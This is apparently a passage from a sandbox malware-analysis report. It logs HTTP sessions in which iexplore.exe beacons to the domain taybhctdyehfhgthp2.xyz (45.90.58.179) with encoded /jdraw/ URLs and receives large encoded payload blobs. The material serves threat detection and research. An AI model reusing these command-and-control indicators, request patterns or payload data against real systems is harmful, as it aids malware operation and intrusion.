dWreTBxuU7rg4+ElAElRzRpH7cgRPr2JzG5yQU6U48Q1okD1LB3zkfFgtMF5ohCVpr8MT7Qu4QP8snP
Jul 6, 2021 14:31:29.997792959 CEST	5243	IN	Data Raw: 70 72 46 6b 52 6e 74 65 4e 31 71 34 6b 53 6b 68 4d 51 78 4e 2f 50 34 44 71 52 45 2f 6e 54 45 71 41 48 4c 48 41 6c 32 2b 45 4c 6d 49 33 51 52 42 52 47 4e 6a 53 65 63 72 4b 73 62 45 71 4f 53 4c 39 70 75 70 42 6e 6d 71 34 67 46 6e 66 74 6b 30 61 34 Data Ascii: prFkRnteN1q4kSkhMQxN/P4DqRE/nTEqAHLHAl2+ELmI3QRBRGNjSecrKsbEqOSL9pupBnmq4gFnftk0a4yQEkxphjhr12paTp3m6LC7H1HP+1MMCpo9tvgu0ogeyNvtRpW/ywVMxJrWS84trZHHPoz55qf56RD275lvuEOo9p3lWdqGyHoI6gVDvotLEtUu4MwlYm1E5yQMU1OZj0uN8RmMMwTy5P8cXm6PQc/Je3n4N0Boys6
Jul 6, 2021 14:31:29.997895956 CEST	5244	IN	Data Raw: 64 50 45 59 6d 75 63 65 58 56 75 2b 65 73 4c 50 47 68 2b 6e 77 61 65 6f 59 61 39 46 30 52 52 75 50 53 30 50 71 6a 70 6d 51 77 7a 35 49 4f 74 72 4d 30 31 66 70 71 51 30 67 4a 6e 56 31 73 72 4e 53 33 7a 4d 65 70 59 35 6b 58 67 57 56 44 37 6f 64 2b Data Ascii: dPEYmuceXVu+esLPGh+nwaeoYa9F0RRuPS0PqjpmQwz5IOtrM01fpqQ0gJnV1srNS3zMepY5kXgWVD7od+CbrqOwkR/oeaJwkXtQawDvDLXVjfJwBFfn/9z8ZKBvj5ql3TqU+OXaaM2TEnn8sirqG9ZSopwcY09CSMCNEM25pEDDXHyka8ktDmpOhVq1tEW3/uPqk2piO0hKU3aPiY+e8bshNXDXXiBL0e3hF9fArYaTroGybTW
Jul 6, 2021 14:31:29.997932911 CEST	5245	IN	Data Raw: 39 52 69 52 45 66 39 43 67 46 56 6e 68 70 39 4c 79 6a 2f 37 72 50 4c 75 2f 59 4f 41 4b 39 4f 42 65 58 2b 54 43 6d 74 68 6a 39 54 48 51 44 62 6d 36 41 45 48 58 48 35 4b 6c 34 50 59 58 73 6d 63 4c 46 6d 79 6a 39 4d 62 4e 63 36 42 73 37 69 51 46 4b Data Ascii: 9RiREf9CgFVnhp9Lyj/7rPLu/YOAK9OBeX+TCmthj9THQDbm6AEHXH5Kl4PYXsmcLFmyj9MbNc6Bs7iQFKFzGWFcamhuY/YF/7bKjK1s7JRXcdUGiSMQXVC2+ydj48vE+TgqUgt3LLwMVwm6zsBUlKNiqzOnDhITfuYYHqYPy5RfC5dNzEnVcWLINxRdIwpWSMDjosAxHYJ6z5J9yBaiQKzqDc83j8nSRFwMi/ya7pJoHk41szF
Jul 6, 2021 14:31:29.997963905 CEST	5247	IN	Data Raw: 70 6c 39 2b 37 5a 57 31 35 74 58 63 45 79 46 62 52 73 64 67 30 54 63 56 6c 7a 7a 35 45 4a 65 64 48 73 78 58 43 78 4b 77 73 2b 75 37 42 6f 43 6c 46 68 2b 59 4e 6d 68 46 39 44 2b 77 72 78 44 43 48 63 65 74 77 32 47 5a 31 49 2f 32 41 55 35 45 56 2b Data Ascii: pl9+7ZW15tXcEyFbRsdg0TcVlzz5EJedHsxXCxKws+u7BoClFh+YNmhF9D+wrxDCHcetw2GZ1I/2AU5EV+g+SETloCBLto19Crb5vVqDz6/QVn2Kuyw3n7rqUuMBQprwF+wMgjbtbZKWQmvjxUkqve0LOpwcO3eYFgmYz9RFSkR6eCsTGTEA5HWR4oBVx0JosioSwKVmVjKacKHUDlsYWnGKr8QM40rg1JbkpSUZ2annA+GPee2
Jul 6, 2021 14:31:29.997994900 CEST	5248	IN	Data Raw: 6e 52 72 54 31 51 5a 4b 63 38 43 42 4a 50 2f 62 73 4b 75 65 64 77 75 43 36 46 6c 54 46 72 32 47 76 34 41 73 4c 6a 53 30 47 61 51 57 78 5a 54 4b 59 68 41 63 64 71 33 30 35 58 42 5a 37 6b 61 33 39 45 64 6e 68 4e 57 52 77 46 2b 77 5a 66 5a 2b 2b 4e Data Ascii: nRrT1QZKc8CBJP/bsKuedwuC6FlTFr2Gv4AsLjS0GaQWxZTKYhAcdq305XBZ7ka39EdnhNWRwF+wZfZ++N4+L5wafyW44f5c24ppMIjUNcb2b2kx5GtPXiZ0X9/PJ8W5qKPlE8aNDdAINLxYUGlvFx8RkRsU6fWzM6rOKW1QpveU81D3HqBBUWMQr5hYrRc4E8X7r/DalFZinLcVJbupgy6EpMBhAL8+Q1jIw5JsG21NXDBSTQJ
Jul 6, 2021 14:31:29.998066902 CEST	5250	IN	Data Raw: 34 63 58 67 48 6b 39 59 4d 65 2b 63 55 46 53 77 72 44 2f 2b 38 37 44 58 66 35 59 46 44 62 30 46 7a 68 45 53 6b 51 55 7a 4d 34 30 46 45 45 52 2f 6e 4c 42 63 77 64 6b 38 6e 4f 45 45 74 68 43 43 49 32 5a 48 48 67 5a 48 31 39 58 57 69 6c 75 76 67 43 Data Ascii: 4cXgHk9YMe+cUFSwrD/+87DXf5YFDb0FzhESkQUzM40FEER/nLBcwdk8nOEEthCCI2ZHHgZH19XWiluvgC5Yy2b3vU4Zkxi6licf0HHG3OhcPEBKQZPaT09yhKrXUZhWhKJ3K//SICSWhyiRZv1q2bbJC/eJj9SaYG3v2oeC82bkNPi7xA/F3cOqIfgQPXXRdKUheZDaZd9aD7yC3xGy5CINHFPNHBkxhh4WvlB87hj4yo0WBhp
Jul 6, 2021 14:31:29.998095989 CEST	5251	IN	Data Raw: 63 56 72 69 68 7a 32 2f 69 4c 65 5a 38 4b 36 37 4c 64 4b 55 61 64 76 6b 5a 42 56 6f 55 74 6b 4d 65 42 78 6f 71 44 68 76 36 73 56 79 2f 75 6b 4b 32 74 4a 35 4d 55 66 4f 39 76 48 58 69 30 33 48 37 4f 43 74 35 65 47 75 58 41 31 50 73 7a 32 77 36 57 Data Ascii: cVrihz2/iLeZ8K67LdKUadvkZBVoUtkMeBxoqDhv6sVy/ukK2tJ5MUfO9vHXi03H7OCt5eGuXA1Psz2w6WSl4zjnD9KBaBC5vxnH2xYp4sKkBzrAlSiB0hD4xZaXiizkIr9AZ268XkAojA1/rTaSXPHfZBIDCErsVQy95w55MXAqqTOKT0qHf9VX+n3tQ9guHT+7A5j4SjSHjV74bt+0eT2VnS0pVjE5YXAFkMGpBVlwGZ1WRcn
Jul 6, 2021 14:31:29.998123884 CEST	5252	IN	Data Raw: 47 56 7a 4a 6b 4c 6a 4c 34 70 49 4b 54 36 45 36 6f 38 41 36 4d 75 76 30 69 65 75 31 7a 38 4c 76 69 64 30 6c 32 6b 57 79 56 42 70 51 6b 57 56 61 33 73 35 6d 64 53 2b 4c 42 41 6b 49 79 56 36 57 4b 41 2b 59 52 6d 53 79 4b 72 74 6b 6c 6f 71 56 62 4d Data Ascii: GVzJkLjL4pIKT6E6o8A6Muv0ieu1z8Lvid0l2kWyVBpQkWVa3s5mdS+LBAkIyV6WKA+YRmSyKrtkloqVbMFwodpAOW/17xA+ABmBP4QRre1Bl+WwYgmK6mz5whN5Jn0FXZcOJB7HeBB218JKD2uCM5s/sMqwYO980SaHLq93uHuGBv/c0hVmTq2rb8jLHOb5xWOdjcRrWgruDJIZEJozZN26qQC3KaUJnM97d647k2Y+9tX2dLD
Jul 6, 2021 14:31:29.998151064 CEST	5254	IN	Data Raw: 72 47 68 62 53 59 4b 55 42 41 62 59 7a 35 6e 68 34 56 2f 4f 72 6a 71 69 70 4b 45 74 53 78 42 6c 64 30 50 55 68 4c 61 56 2b 79 43 6b 73 74 45 6f 79 48 37 32 48 70 43 42 33 64 47 4d 61 4c 2b 42 48 6f 2f 62 30 33 31 49 4c 34 2f 61 48 62 62 39 2b 67 Data Ascii: rGhbSYKUBAbYz5nh4V/OrjqipKEtSxBld0PUhLaV+yCkstEoyH72HpCB3dGMaL+BHo/b031IL4/aHbb9+gcn8tMj8SxjCDTVgPdfSOnaJVT4tEA2TcN9hLdu38YA6gWMi0V6QhLhI+qjY09dNXDav+CVarPbgfxA+7/FNtxe9eDsCMEt2fMc532NEC9aC7r/oZJsAnKMAOHGAP6wOFji0jlT1djOT9rZGS9/N5mfIQBGJlOEFgW
Jul 6, 2021 14:31:30.035284996 CEST	5255	IN	Data Raw: 53 73 34 6d 53 6d 61 6e 75 7a 6c 7a 6e 36 4e 47 71 66 48 63 35 57 62 67 38 56 6d 65 43 54 55 4e 49 78 35 38 50 74 68 56 5a 47 6e 2f 4d 54 48 6a 54 33 48 37 54 2b 46 35 4d 78 32 5a 66 38 48 6c 36 41 67 4e 43 73 38 37 33 33 75 72 70 4a 6d 56 2b 2f Data Ascii: Ss4mSmanuzlzn6NGqfHc5Wbg8VmeCTUNIx58PthVZGn/MTHjT3H7T+F5Mx2Zf8Hl6AgNCs8733urpJmV+/zFvVB20ClxCA7qbHp5CmusewLKhxaV3Fvr3DtqcGJ4mg2wbTKrD2+obxzC+uJ3ROCnRLYkHF+UPnCdakLarcp9X+idnKSjXVa613r4gI+d4eBOeyaczPaIFGjAtHmfRINSaG44JnaD+RgTyLdAMNUbPE7KLFqRax/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49815	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:29.950484991 CEST	5240	OUT	GET /jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXVD/nyA2CFklxFPwVQh/Yho06_2FbaOGMgTxMt/wv24AfIjN/0MFgIcSL6gEiPqujKV_2/FBuSaCXg7gU09XOKs6c/4flUb9QPzKFwKqbjV_2FMz/mqc6yG0M3rYrC/7N85LJjr/tu_2BqIUaqz1VBst_2F35QW/3.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:30.130429983 CEST	5451	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:29 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 61 35 63 30 0d 0a 54 37 50 43 46 2b 46 31 4a 55 4b 41 54 62 62 73 6b 6e 55 32 76 58 53 4c 57 30 70 45 54 4a 56 69 7a 51 2b 44 68 35 45 4d 66 73 37 78 45 66 79 46 33 4b 48 51 69 53 71 48 7a 55 68 43 2b 65 4f 65 34 78 4f 6d 6b 74 78 46 38 68 6b 49 4e 50 41 79 47 77 74 4c 75 78 6a 7a 51 55 58 30 64 4f 6c 78 52 68 6c 32 49 79 4d 71 6a 6c 52 6b 53 79 56 4f 65 72 75 63 56 6c 49 33 75 36 35 62 70 6a 30 4f 6d 52 76 43 57 47 38 4a 71 2b 4c 33 74 4a 74 4f 76 31 74 42 74 47 5a 58 5a 42 6c 75 79 32 70 34 54 56 54 57 67 70 50 7a 4f 51 77 76 6d 30 72 68 56 73 4f 48 62 78 44 4b 4c 7a 6b 59 36 4d 50 32 52 32 47 70 50 39 78 71 42 52 46 34 67 7a 30 48 74 53 4d 58 6a 77 44 4e 77 71 46 63 49 32 34 46 62 2b 31 2b 64 73 65 35 69 4c 44 66 51 79 42 35 71 37 33 61 6d 39 61 52 67 36 74 75 43 71 65 53 47 50 4e 64 75 30 44 6f 72 43 2b 65 36 35 37 42 6b 32 69 57 66 4b 4e 72 45 4a 47 34 33 76 4a 4e 2b 68 45 30 6f 4c 37 69 76 34 31 4c 50 36 37 33 61 4b 41 35 6c 33 62 49 48 6f 46 77 4c 30 4f 78 37 6a 69 48 37 5a 36 52 4e 61 37 42 2b 38 42 66 6d 34 51 42 66 4e 31 68 30 55 35 75 47 73 65 68 71 78 7a 56 48 33 46 65 44 77 4f 6b 42 7a 75 43 39 6a 62 4a 7a 77 4c 4b 38 61 2b 6a 49 67 51 53 4a 52 6d 4d 54 43 72 32 33 79 67 67 46 4d 42 75 6b 39 34 32 4c 57 52 45 46 4a 79 58 57 32 52 65 47 61 38 61 63 75 79 7a 54 36 55 57 5a 35 68 4f 58 6e 79 58 54 43 46 61 39 48 76 4c 71 72 56 36 41 74 56 6c 78 62 34 46 37 34 49 51 63 79 50 6f 36 4d 4a 2f 58 6c 74 57 52 6e 44 66 55 61 4d 62 6f 4e 6d 51 58 41 70 4c 56 39 49 4a 66 4a 74 36 50 55 37 7a 66 78 59 37 48 46 4d 4c 68 59 49 62 7a 61 61 43 75 63 71 58 57 33 61 77 6b 30 4e 44 31 54 30 6e 36 4e 36 59 35 57 44 44 6f 69 4e 7a 4b 64 51 4a 4b 69 6e 48 2f 4b 73 4b 32 71 2f 30 2b 34 69 53 42 31 53 33 63 50 35 4a 77 31 54 48 77 4f 45 37 74 6b 77 54 71 71 2f 6b 4e 33 65 63 37 64 6d 38 75 47 30 70 4c 64 2b 63 69 4d 6d 42 68 44 41 31 4c 78 69 6c 53 72 6a 36 6d 64 6f 45 70 6f 55 7a 68 51 30 63 49 6b 69 59 7a 6e 4c 49 4f 41 75 4b 4c 4a 76 43 78 39 4b 32 6c 2f 70 58 35 76 68 52 47 45 49 34 57 69 4b 6d 73 33 34 4e 76 78 44 77 31 42 72 70 70 65 48 66 71 36 6d 35 62 5a 4a 2b 6a 47 6e 57 51 33 56 54 43 39 68 70 2b 7a 62 30 6b 50 51 41 4a 38 61 6f 6d 73 4b 35 45 4d 4b 41 6a 38 75 65 45 4f 70 66 79 6e 54 53 6b 4c 68 61 52 43 6b 5a 31 48 65 2f 34 59 7a 4e 38 41 58 31 6b 50 45 73 4c 2b 71 47 41 69 41 6c 51 50 45 54 62 4c 65 72 36 48 61 2b 76 66 77 69 5a 50 34 41 58 55 33 77 49 42 45 62 78 48 72 67 6e 4e 2f 47 67 38 66 36 33 47 6d 33 38 42 66 52 68 50 77 59 39 6a 79 47 52 34 42 56 50 35 78 39 4a 66 43 32 35 6f 61 74 2f 6e 57 35 4e 39 68 73 5a 4b 34 48 33 6f 64 71 52 4f 75 44 59 31 53 4c 76 6b 42 64 57 72 65 54 42 78 75 55 37 72 67 34 2b 45 6c 41 45 6c 52 7a 52 70 48 37 63 67 52 50 72 32 4a 7a 47 35 79 51 55 36 55 34 38 51 31 6f 6b 44 31 4c 42 33 7a 6b 66 46 67 74 4d 46 35 6f 68 43 56 70 72 38 4d 54 37 51 75 34 51 50 38 73 6e 50 Data Ascii: 3a5c0T7PCF+F1JUKATbbsknU2vXSLW0pETJVizQ+Dh5EMfs7xEfyF3KHQiSqHzUhC+eOe4xOmktxF8hkINPAyGwtLuxjzQUX0dOlxRhl2IyMqjlRkSyVOerucVlI3u65bpj0OmRvCWG8Jq+L3tJtOv1tBtGZXZBluy2p4TVTWgpPzOQwvm0rhVsOHbxDKLzkY6MP2R2GpP9xqBRF4gz0HtSMXjwDNwqFcI24Fb+1+dse5iLDfQyB5q73am9aRg6tuCqeSGPNdu0DorC+e657Bk2iWfKNrEJG43vJN+hE0oL7iv41LP673aKA5l3bIHoFwL0Ox7jiH7Z6RNa7B+8Bfm4QBfN1h0U5uGsehqxzVH3FeDwOkBzuC9jbJzwLK8a+jIgQSJRmMTCr23yggFMBuk942LWREFJyXW2ReGa8acuyzT6UWZ5hOXnyXTCFa9HvLqrV6AtVlxb4F74IQcyPo6MJ/XltWRnDfUaMboNmQXApLV9IJfJt6PU7zfxY7HFMLhYIbzaaCucqXW3awk0ND1T0n6N6Y5WDDoiNzKdQJKinH/KsK2q/0+4iSB1S3cP5Jw1THwOE7tkwTqq/kN3ec7dm8uG0pLd+ciMmBhDA1LxilSrj6mdoEpoUzhQ0cIkiYznLIOAuKLJvCx9K2l/pX5vhRGEI4WiKms34NvxDw1BrppeHfq6m5bZJ+jGnWQ3VTC9hp+zb0kPQAJ8aomsK5EMKAj8ueEOpfynTSkLhaRCkZ1He/4YzN8AX1kPEsL+qGAiAlQPETbLer6Ha+vfwiZP4AXU3wIBEbxHrgnN/Gg8f63Gm38BfRhPwY9jyGR4BVP5x9JfC25oat/nW5N9hsZK4H3odqROuDY1SLvkBdWreTBxuU7rg4+ElAElRzRpH7cgRPr2JzG5yQU6U48Q1okD1LB3zkfFgtMF5ohCVpr8MT7Qu4QP8snP
Jul 6, 2021 14:31:30.130462885 CEST	5452	IN	Data Raw: 70 72 46 6b 52 6e 74 65 4e 31 71 34 6b 53 6b 68 4d 51 78 4e 2f 50 34 44 71 52 45 2f 6e 54 45 71 41 48 4c 48 41 6c 32 2b 45 4c 6d 49 33 51 52 42 52 47 4e 6a 53 65 63 72 4b 73 62 45 71 4f 53 4c 39 70 75 70 42 6e 6d 71 34 67 46 6e 66 74 6b 30 61 34 Data Ascii: prFkRnteN1q4kSkhMQxN/P4DqRE/nTEqAHLHAl2+ELmI3QRBRGNjSecrKsbEqOSL9pupBnmq4gFnftk0a4yQEkxphjhr12paTp3m6LC7H1HP+1MMCpo9tvgu0ogeyNvtRpW/ywVMxJrWS84trZHHPoz55qf56RD275lvuEOo9p3lWdqGyHoI6gVDvotLEtUu4MwlYm1E5yQMU1OZj0uN8RmMMwTy5P8cXm6PQc/Je3n4N0Boys6
Jul 6, 2021 14:31:30.130496025 CEST	5453	IN	Data Raw: 64 50 45 59 6d 75 63 65 58 56 75 2b 65 73 4c 50 47 68 2b 6e 77 61 65 6f 59 61 39 46 30 52 52 75 50 53 30 50 71 6a 70 6d 51 77 7a 35 49 4f 74 72 4d 30 31 66 70 71 51 30 67 4a 6e 56 31 73 72 4e 53 33 7a 4d 65 70 59 35 6b 58 67 57 56 44 37 6f 64 2b Data Ascii: dPEYmuceXVu+esLPGh+nwaeoYa9F0RRuPS0PqjpmQwz5IOtrM01fpqQ0gJnV1srNS3zMepY5kXgWVD7od+CbrqOwkR/oeaJwkXtQawDvDLXVjfJwBFfn/9z8ZKBvj5ql3TqU+OXaaM2TEnn8sirqG9ZSopwcY09CSMCNEM25pEDDXHyka8ktDmpOhVq1tEW3/uPqk2piO0hKU3aPiY+e8bshNXDXXiBL0e3hF9fArYaTroGybTW
Jul 6, 2021 14:31:30.130541086 CEST	5455	IN	Data Raw: 39 52 69 52 45 66 39 43 67 46 56 6e 68 70 39 4c 79 6a 2f 37 72 50 4c 75 2f 59 4f 41 4b 39 4f 42 65 58 2b 54 43 6d 74 68 6a 39 54 48 51 44 62 6d 36 41 45 48 58 48 35 4b 6c 34 50 59 58 73 6d 63 4c 46 6d 79 6a 39 4d 62 4e 63 36 42 73 37 69 51 46 4b Data Ascii: 9RiREf9CgFVnhp9Lyj/7rPLu/YOAK9OBeX+TCmthj9THQDbm6AEHXH5Kl4PYXsmcLFmyj9MbNc6Bs7iQFKFzGWFcamhuY/YF/7bKjK1s7JRXcdUGiSMQXVC2+ydj48vE+TgqUgt3LLwMVwm6zsBUlKNiqzOnDhITfuYYHqYPy5RfC5dNzEnVcWLINxRdIwpWSMDjosAxHYJ6z5J9yBaiQKzqDc83j8nSRFwMi/ya7pJoHk41szF
Jul 6, 2021 14:31:30.130569935 CEST	5456	IN	Data Raw: 70 6c 39 2b 37 5a 57 31 35 74 58 63 45 79 46 62 52 73 64 67 30 54 63 56 6c 7a 7a 35 45 4a 65 64 48 73 78 58 43 78 4b 77 73 2b 75 37 42 6f 43 6c 46 68 2b 59 4e 6d 68 46 39 44 2b 77 72 78 44 43 48 63 65 74 77 32 47 5a 31 49 2f 32 41 55 35 45 56 2b Data Ascii: pl9+7ZW15tXcEyFbRsdg0TcVlzz5EJedHsxXCxKws+u7BoClFh+YNmhF9D+wrxDCHcetw2GZ1I/2AU5EV+g+SETloCBLto19Crb5vVqDz6/QVn2Kuyw3n7rqUuMBQprwF+wMgjbtbZKWQmvjxUkqve0LOpwcO3eYFgmYz9RFSkR6eCsTGTEA5HWR4oBVx0JosioSwKVmVjKacKHUDlsYWnGKr8QM40rg1JbkpSUZ2annA+GPee2
Jul 6, 2021 14:31:30.130609989 CEST	5457	IN	Data Raw: 6e 52 72 54 31 51 5a 4b 63 38 43 42 4a 50 2f 62 73 4b 75 65 64 77 75 43 36 46 6c 54 46 72 32 47 76 34 41 73 4c 6a 53 30 47 61 51 57 78 5a 54 4b 59 68 41 63 64 71 33 30 35 58 42 5a 37 6b 61 33 39 45 64 6e 68 4e 57 52 77 46 2b 77 5a 66 5a 2b 2b 4e Data Ascii: nRrT1QZKc8CBJP/bsKuedwuC6FlTFr2Gv4AsLjS0GaQWxZTKYhAcdq305XBZ7ka39EdnhNWRwF+wZfZ++N4+L5wafyW44f5c24ppMIjUNcb2b2kx5GtPXiZ0X9/PJ8W5qKPlE8aNDdAINLxYUGlvFx8RkRsU6fWzM6rOKW1QpveU81D3HqBBUWMQr5hYrRc4E8X7r/DalFZinLcVJbupgy6EpMBhAL8+Q1jIw5JsG21NXDBSTQJ
Jul 6, 2021 14:31:30.130641937 CEST	5459	IN	Data Raw: 34 63 58 67 48 6b 39 59 4d 65 2b 63 55 46 53 77 72 44 2f 2b 38 37 44 58 66 35 59 46 44 62 30 46 7a 68 45 53 6b 51 55 7a 4d 34 30 46 45 45 52 2f 6e 4c 42 63 77 64 6b 38 6e 4f 45 45 74 68 43 43 49 32 5a 48 48 67 5a 48 31 39 58 57 69 6c 75 76 67 43 Data Ascii: 4cXgHk9YMe+cUFSwrD/+87DXf5YFDb0FzhESkQUzM40FEER/nLBcwdk8nOEEthCCI2ZHHgZH19XWiluvgC5Yy2b3vU4Zkxi6licf0HHG3OhcPEBKQZPaT09yhKrXUZhWhKJ3K//SICSWhyiRZv1q2bbJC/eJj9SaYG3v2oeC82bkNPi7xA/F3cOqIfgQPXXRdKUheZDaZd9aD7yC3xGy5CINHFPNHBkxhh4WvlB87hj4yo0WBhp
Jul 6, 2021 14:31:30.130672932 CEST	5460	IN	Data Raw: 63 56 72 69 68 7a 32 2f 69 4c 65 5a 38 4b 36 37 4c 64 4b 55 61 64 76 6b 5a 42 56 6f 55 74 6b 4d 65 42 78 6f 71 44 68 76 36 73 56 79 2f 75 6b 4b 32 74 4a 35 4d 55 66 4f 39 76 48 58 69 30 33 48 37 4f 43 74 35 65 47 75 58 41 31 50 73 7a 32 77 36 57 Data Ascii: cVrihz2/iLeZ8K67LdKUadvkZBVoUtkMeBxoqDhv6sVy/ukK2tJ5MUfO9vHXi03H7OCt5eGuXA1Psz2w6WSl4zjnD9KBaBC5vxnH2xYp4sKkBzrAlSiB0hD4xZaXiizkIr9AZ268XkAojA1/rTaSXPHfZBIDCErsVQy95w55MXAqqTOKT0qHf9VX+n3tQ9guHT+7A5j4SjSHjV74bt+0eT2VnS0pVjE5YXAFkMGpBVlwGZ1WRcn
Jul 6, 2021 14:31:30.130708933 CEST	5462	IN	Data Raw: 47 56 7a 4a 6b 4c 6a 4c 34 70 49 4b 54 36 45 36 6f 38 41 36 4d 75 76 30 69 65 75 31 7a 38 4c 76 69 64 30 6c 32 6b 57 79 56 42 70 51 6b 57 56 61 33 73 35 6d 64 53 2b 4c 42 41 6b 49 79 56 36 57 4b 41 2b 59 52 6d 53 79 4b 72 74 6b 6c 6f 71 56 62 4d Data Ascii: GVzJkLjL4pIKT6E6o8A6Muv0ieu1z8Lvid0l2kWyVBpQkWVa3s5mdS+LBAkIyV6WKA+YRmSyKrtkloqVbMFwodpAOW/17xA+ABmBP4QRre1Bl+WwYgmK6mz5whN5Jn0FXZcOJB7HeBB218JKD2uCM5s/sMqwYO980SaHLq93uHuGBv/c0hVmTq2rb8jLHOb5xWOdjcRrWgruDJIZEJozZN26qQC3KaUJnM97d647k2Y+9tX2dLD
Jul 6, 2021 14:31:30.130743980 CEST	5463	IN	Data Raw: 72 47 68 62 53 59 4b 55 42 41 62 59 7a 35 6e 68 34 56 2f 4f 72 6a 71 69 70 4b 45 74 53 78 42 6c 64 30 50 55 68 4c 61 56 2b 79 43 6b 73 74 45 6f 79 48 37 32 48 70 43 42 33 64 47 4d 61 4c 2b 42 48 6f 2f 62 30 33 31 49 4c 34 2f 61 48 62 62 39 2b 67 Data Ascii: rGhbSYKUBAbYz5nh4V/OrjqipKEtSxBld0PUhLaV+yCkstEoyH72HpCB3dGMaL+BHo/b031IL4/aHbb9+gcn8tMj8SxjCDTVgPdfSOnaJVT4tEA2TcN9hLdu38YA6gWMi0V6QhLhI+qjY09dNXDav+CVarPbgfxA+7/FNtxe9eDsCMEt2fMc532NEC9aC7r/oZJsAnKMAOHGAP6wOFji0jlT1djOT9rZGS9/N5mfIQBGJlOEFgW
Jul 6, 2021 14:31:30.168262959 CEST	5508	IN	Data Raw: 53 73 34 6d 53 6d 61 6e 75 7a 6c 7a 6e 36 4e 47 71 66 48 63 35 57 62 67 38 56 6d 65 43 54 55 4e 49 78 35 38 50 74 68 56 5a 47 6e 2f 4d 54 48 6a 54 33 48 37 54 2b 46 35 4d 78 32 5a 66 38 48 6c 36 41 67 4e 43 73 38 37 33 33 75 72 70 4a 6d 56 2b 2f Data Ascii: Ss4mSmanuzlzn6NGqfHc5Wbg8VmeCTUNIx58PthVZGn/MTHjT3H7T+F5Mx2Zf8Hl6AgNCs8733urpJmV+/zFvVB20ClxCA7qbHp5CmusewLKhxaV3Fvr3DtqcGJ4mg2wbTKrD2+obxzC+uJ3ROCnRLYkHF+UPnCdakLarcp9X+idnKSjXVa613r4gI+d4eBOeyaczPaIFGjAtHmfRINSaG44JnaD+RgTyLdAMNUbPE7KLFqRax/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49817	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:33.736978054 CEST	5753	OUT	GET /jdraw/p5RR5qqGgi5cTLPxy/2iFqCZAtdge9/_2B0gp3GesH/Xr71XWjGQYQuWa/hA9AKk4_2BjgWwj5Y0S8K/QFWsxQXH1nBjETKY/5OHlicPcimNIcL6/z4pHXf1uPEPssBLv8K/mnGWtLd2A/uaW_2Bl6KqHoNDaU_2Bh/DiOvILfU9m_2BExEsIT/5_2B5_2BSmOr5E2GYDUf9Y/mDnzrYQJR/mky.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:33.795783043 CEST	5755	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:33 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 61 33 31 34 0d 0a 67 72 57 41 4c 4a 30 41 6f 52 72 79 4d 68 4c 6b 62 34 2b 35 66 4b 46 31 42 54 33 44 6c 56 75 33 6a 75 7a 45 48 61 77 2f 5a 76 53 45 53 6d 51 76 58 51 38 6e 6b 70 30 59 39 52 6b 64 57 67 69 7a 31 69 4f 4b 31 44 38 4e 55 72 39 69 5a 64 73 64 46 72 38 31 4a 6d 70 57 67 39 74 78 6e 64 7a 56 47 54 30 65 36 2b 54 42 59 51 45 66 63 65 50 51 59 6e 6f 75 51 33 6e 45 5a 54 63 44 75 52 54 63 56 56 4b 70 34 4d 76 79 6f 41 45 37 36 67 44 5a 59 5a 62 31 55 37 54 4f 36 67 57 46 35 78 47 61 45 59 44 50 52 68 58 36 4b 75 42 45 44 4c 6e 70 4b 4a 59 4e 78 6e 5a 2f 70 73 6b 35 5a 2f 78 69 72 55 51 75 71 72 35 6e 51 38 64 43 77 62 76 6e 49 61 2f 44 67 44 59 66 35 43 6a 67 64 73 77 6b 67 72 72 48 6f 34 71 30 37 6d 36 41 65 39 6d 42 2b 53 46 34 4c 36 71 4d 35 56 2b 67 77 30 61 33 4c 70 65 4b 54 75 57 53 79 33 31 6c 6f 76 6f 31 38 44 36 63 43 5a 49 66 4e 4d 30 79 4d 73 41 71 51 6a 78 44 57 30 59 61 53 79 56 65 4d 54 6a 75 36 74 76 76 59 79 35 6d 55 62 75 73 61 70 37 57 49 6d 41 57 6d 61 67 48 4b 6e 30 51 43 52 59 52 33 37 64 49 32 6e 73 70 58 31 44 4f 52 73 2b 31 35 51 62 71 62 4c 4f 77 73 67 4c 63 64 66 65 56 36 6b 77 63 48 44 68 64 34 70 4d 4c 4c 70 73 31 71 6c 41 49 53 4f 52 51 52 32 4b 34 44 36 4a 59 6c 38 58 71 31 4f 37 4b 55 67 75 73 4d 2b 72 4d 63 51 6c 39 76 42 6f 45 54 6a 39 70 53 74 68 61 70 39 32 41 6a 6e 52 76 69 7a 32 74 6e 44 2f 32 55 73 72 74 63 30 78 6c 32 